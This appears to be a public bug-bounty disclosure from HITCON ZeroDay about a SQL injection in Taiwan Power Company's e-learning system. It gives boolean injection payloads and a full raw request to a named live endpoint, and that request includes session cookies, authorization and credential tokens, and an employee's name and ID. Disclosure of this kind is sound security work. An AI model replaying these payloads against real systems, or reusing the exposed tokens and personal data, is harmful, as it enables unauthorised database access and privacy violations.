[Bounty] 台灣電力公司 SQL Injection

Vulnerability Overview

ZDID: ZD-2022-00629
發信 Vendor: 台灣電力公司
Title: [Bounty] 台灣電力公司 SQL Injection
Introduction: SQL Injection 資料庫注入

處理狀態

目前狀態

公開

Last Update : 2022/10/10

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2022/08/06 12:51:38 : 新提交 (由 K4iBr0 更新此狀態)
2022/08/08 00:41:58 : 審核中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2022/09/13 17:14:51 : 複測申請中 (由組織帳號更新此狀態)
2022/09/22 15:43:55 : 複測申請中 (由組織帳號更新此狀態)
2022/10/10 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2022-00629
通報者：Kaibro (K4iBr0)
風險：高
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

根據 ZD-2022-00193 未改之帳密成功登入 Elearning 系統: elearning.taipower.com.tw

於 https://elearning.taipower.com.tw/eHRDWeb/Service/CommonCtrl.ashx 功能，經黑箱測試發現 SP_Params 參數存在 SQL Injection 漏洞

PoC:

插入 'and+2=3-- 時，由於條件不成立，可以看到回傳之結果較少

插入 'or 2=2-- 時，由於條件恆成立，可以看到回傳結果多達 1037953 Bytes

由以上簡單測試，可驗證該處存在 SQL Injection，攻擊者可透過該漏洞存取 Elearning 資料中的重要資料

重現漏洞之 Raw Request:

POST /eHRDWeb/Service/CommonCtrl.ashx HTTP/1.1
Host: elearning.taipower.com.tw
Cookie: _ga_MDKC8RL7VP=GS1.1.1659441013.1.1.1659441061.0; _ga=GA1.3.751733872.1645803196; _gid=GA1.3.595964021.1659654856; TS01427200=019a517e71c065035696f731a169e0b9c2b240989e51c544a22762153ac0b857b78ec7b778698573f5f6e279da1351a2e1bb166f44
Content-Length: 1663
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
Authorization: Basic NjcyNmFhZjMtNzFhYi1kYTQ0LTRjNjItZjIxMjU0NTU5Y2Fi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Date: Sat, 06 Aug 2022 03:54:29 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://elearning.taipower.com.tw
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://elearning.taipower.com.tw/eHRDWeb/Homepage.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Action=StoredProcedure&SP_Fn=2102&SP_Params={"SerialNo":"EMPLY000000000104604'and+2=2--","DomainSerialNo":"DOMAN000000000000000"}&taglistPageType=0&Passport%5BPassportID%5D=5545212f-26c4-44ad-ba17-3faa6276bac9&Passport%5BUserID%5D=161048&Passport%5BEmployeeSerialNo%5D=EMPLY000000000104604&Passport%5BCodePage%5D=950&Passport%5BEmployeeName%5D=%E9%99%B3%E6%AF%85%E5%93%B2&Passport%5BEmployeeEmail%5D=&Passport%5BCompanySerialNo%5D=COMPY000000000000001&Passport%5BCompanyName%5D=%E5%8F%B0%E7%81%A3%E9%9B%BB%E5%8A%9B%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&Passport%5BIP%5D=10.60.8.250&Passport%5BFirstPage%5D=0&Passport%5BHeadImage%5D=&Passport%5BMasterDepartmentSerialNo%5D=DEPAR000000000103000&Passport%5BPermissionSerialNos%5D=PERMS000000000000004%2CPERMS000000000TAI001&Passport%5BPermissionOriginalSerialNos%5D=%2C&Passport%5BOrgSerialNo%5D=ORGDM000000000000000&Passport%5BOrgID%5D=eHRDOrg&Passport%5BDomainSerialNo%5D=DOMAN000000000000000&Passport%5BCurrentDomainSerialNo%5D=DOMAN000000000000000&Passport%5BCurrentOrgDomainSerialNo%5D=DOMAN000000000000000&Passport%5BDomainType%5D=1&Passport%5BCurrentOrgSerialNo%5D=ORGDM000000000000000&Passport%5BBelongDomainSerialNos%5D=DOMAN000000000000006%2CDOMAN000000000000400%2CDOMAN000000000000500%2CDOMAN000000000000000&Passport%5BIsMPS%5D=F&Passport%5BOnlineUserGUID%5D=9B7E4C40-495C-4C1C-90D2-7A746303EF19&Passport%5BAuthResult%5D=Permit&Passport%5BdataOwnerSerialNos%5D=EMPLY000000000104604&Passport%5BCredential%5D=0L5VfF5LZY5D%2FpmAzj1%2B7B6HguEN5ddEiSCx4CEnX5w%3D&Passport%5BIdentity%5D=0L5VfF5LZY5D%2FpmAzj1%2B7B6HguEN5ddEiSCx4CEnX5w%3D&Passport%5BdataOwner%5D=EMPLY000000000104604&Derange=true

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

[Bounty] 台灣電力公司 SQL Injection - HITCON ZeroDay

Vulnerability Detail Report